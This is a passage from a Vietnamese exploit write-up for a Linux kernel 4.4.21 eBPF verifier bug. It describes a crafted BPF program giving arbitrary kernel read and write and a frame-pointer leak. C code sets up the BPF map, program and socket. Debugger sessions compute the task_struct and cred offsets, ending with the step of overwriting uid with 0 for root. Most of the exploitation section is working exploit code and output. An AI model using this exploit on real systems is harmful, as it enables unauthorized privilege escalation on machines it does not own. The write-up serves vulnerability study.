        • Nếu R6 == 0 thì sẽ ghi giá trị R7 trỏ đến vào R2 (đọc tùy ý)
        • Nếu R6 == 1 thì giá trị R10 (frame pointer) sẽ được ghi vào R2 (leak frame pointer)
        • Nếu R6 == 2 thì giá trị R8 sẽ được lưu vào vùng R7 trỏ tới (ghi tùy ý)

Khai thác

  • Bước 1: Bước khởi tạo: bpf_map, gửi tập instruction lên kernel, tạo socket
    mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
    progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);
    socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets);
    setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd));
  • Bước 2: Leak địa chỉ và ghi đề vào vùng cred để leo quyền
    • Ta leak frame pointer thông qua optione 1 của mã độc và vì lúc này giá trị đó đã được lưu ở bpf_map thứ 2 nên ta đọc nó bằng bpf_lookup_elem
    static int bpf_update_elem(uint64_t key, uint64_t value) {
     union bpf_attr attr = {
      .map_fd = mapfd,
      .key = (__u64)&key,
      .value = (__u64)&value,
      .flags = 0,
     };
    #define __update_elem(a, b, c) \
     bpf_update_elem(0, (a)); \
     bpf_update_elem(1, (b)); \
     bpf_update_elem(2, (c)); \
     writemsg();
    static uint64_t get_value(int key) {
     uint64_t value;
     bpf_lookup_elem(&key, &value);
     return value;
    }
    static int bpf_lookup_elem(void *key, void *value) {
     union bpf_attr attr = {
      .map_fd = mapfd,
      .key = (__u64)key,
      .value = (__u64)value,
     };
     return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
    } 
    static uint64_t __get_fp(void) {
     __update_elem(1, 0, 0);
     return get_value(2);
    }
    • Khi đã có frame pointer ta tính stack pointer:
    stack_pointer = frame_pointer & ~(0x4000 - 1);
    • Tại phiên bản này (4.4.21) thì task_struct được đặt ở ngay đầu của stack. Nên nếu tìm đc stack_pointer thì ta chỉ cần đọc giá trị tại địa chỉ này thì ta sẽ biết được vị trí của task_struct.
      • linux/include/linux/sched.h
      union thread_union {
      struct thread_info thread_info;
      unsigned long stack[THREAD_SIZE/sizeof(long)];
      };
      • arch/x86/include/asm/thread_info.h
      struct thread_info {
      struct task_struct *task;  /* main task structure */
      __u32   flags;  /* low level flags */
      __u32   status;  /* thread synchronous flags */
      __u32   cpu;  /* current CPU */
      mm_segment_t  addr_limit;
      unsigned int  sig_on_uaccess_error:1;
      unsigned int  uaccess_err:1; /* uaccess failed */
      };
    • Khi biết được task_struct thì ta sẽ tính ofset từ task_struct tới cred
       0xffffffff81172b1b <map_update_elem+235>    mov    edx, dword ptr [r14 + 0xc]
       0xffffffff81172b1f <map_update_elem+239>    mov    rsi, qword ptr [rbp - 0x38]
       0xffffffff81172b23 <map_update_elem+243>    mov    rdi, rax
       0xffffffff81172b26 <map_update_elem+246>    mov    qword ptr [rbp - 0x30], rax
       0xffffffff81172b2a <map_update_elem+250>    call   _copy_from_user <0xffffffff813f5ff0>
     ► 0xffffffff81172b2f <map_update_elem+255>    test   rax, rax
       0xffffffff81172b32 <map_update_elem+258>    mov    edx, 0xfffffff2
       0xffffffff81172b37 <map_update_elem+263>    mov    r8, qword ptr [rbp - 0x30]
       0xffffffff81172b3b <map_update_elem+267>    je     map_update_elem+323 <0xffffffff81172b73>
        ↓
       0xffffffff81172b73 <map_update_elem+323>    mov    rax, qword ptr [r14 + 0x20]
       0xffffffff81172b77 <map_update_elem+327>    mov    rdx, r8
                  0
    pwndbg> p/x (&(((struct task_struct*)(0xffff88007886d280))->cred))
    $44 = 0xffff88007886d850
    pwndbg> p/x 0xffff88007886d850-0xffff88007886d280
    $45 = 0x5d0
    • Vậy ofset = 0x5d0. Ta leak địa chỉa ở ông nhớ task_struct + 0x5d0 là sẽ ra cred
    credptr = __read(task_struct + 0x5d0);
    • Leak được địa chỉ của cred và tính được địa chỉ của uid. Bây giờ ta chỉ cần ghi giá trị 0 vào trường uid là có thể lên root được.
    pwndbg> x/10gx 0xffff8800165d8000 (stack pointer)
    0xffff8800165d8000:     0xffff8800246f6040 (task_struct)      0x0000000000000000
    0xffff8800165d8010:     0x0000000000000000      0x00007ffffffff000
    0xffff8800165d8020:     0x0000000000000000      0x0000000057ac6e9d
    0xffff8800165d8030:     0x0000000000000000      0x0000000000000000
    0xffff8800165d8040:     0x0000000000000000      0x0000000000000000
    pwndbg> p/x *(((struct task_struct*)(0xffff8800246f6040))->cred)
    $2 = {
      usage = {
        counter = 0x9
      },
      uid = {  <<--- uid cần ghi đè
        val = 0x3e8
      },
      gid = {
        val = 0x3e8
      },
      suid = {
        val = 0x3e8
      },
      sgid = {
        val = 0x3e8
      },
    • Kết quả

Phần 4: Tham khảo